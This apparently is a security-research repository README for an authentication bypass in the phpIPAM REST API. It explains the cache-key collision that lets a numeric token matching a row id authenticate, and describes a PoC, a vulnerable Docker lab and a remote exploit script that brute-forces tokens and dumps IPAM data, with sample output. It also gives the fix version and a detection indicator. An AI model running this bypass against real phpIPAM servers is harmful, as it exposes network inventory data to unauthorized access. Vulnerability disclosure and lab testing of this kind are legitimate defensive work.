hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypassExploit and PoC for CVE-2026-67602, an authentication bypass in phpIPAM REST API via object-cache key collision, including a logic-level PoC and remote exploit script.
Unauthenticated authentication bypass in the phpIPAM REST API, caused by an
object-cache key collision: the database row cached while resolving an API
app's app_id satisfies the subsequent app_code (token) check whenever the
supplied token equals the row's numeric id. The app's real secret is never
compared.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_coded29728f)| File | Purpose |
|---|---|
poc_cache_collision.php | Logic-level PoC. Runs the verbatim vulnerable (v1.8.1) and fixed (1.8.2) fetch_object/cache_check/cache_write implementations against a stubbed database and replays the exact fetch sequence of one HTTP request. No phpIPAM install needed. |
exploit.py | Remote exploit against a live phpIPAM < 1.8.2 instance: enumerates valid app_ids (400 vs 401), brute-forces the numeric token (usually id 1-3), and optionally dumps sections/subnets/VLANs/devices. |
docker-compose.yml | Vulnerable lab: phpIPAM v1.8.1 + MariaDB, plain HTTP with IPAM_TRUST_X_FORWARDED=true so ssl_code apps can be tested via the X-Forwarded-Proto header. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTHENTICATED
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected
$ docker compose up -d
http://localhost:8080/, proceed to the installer
(http://localhost:8080/install/), choose Automatic database
installation, MySQL user root / password phpipamAdminRoot.admin / admin), set a new admin password when prompted.app_id): clientRun the exploit (the --xfp flag satisfies the HTTPS check via
X-Forwarded-Proto, which the lab trusts):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...
d29728f).ssl_code API apps (other
security modes are not affected by this cache collision)./api/<app_id>/...
carrying a purely numeric phpipam-token header — legitimate tokens are
32-character random strings, so numeric tokens are a high-fidelity IOC.This repository is for defensive research and authorized penetration testing only. Only run it against systems you own or have written permission to test.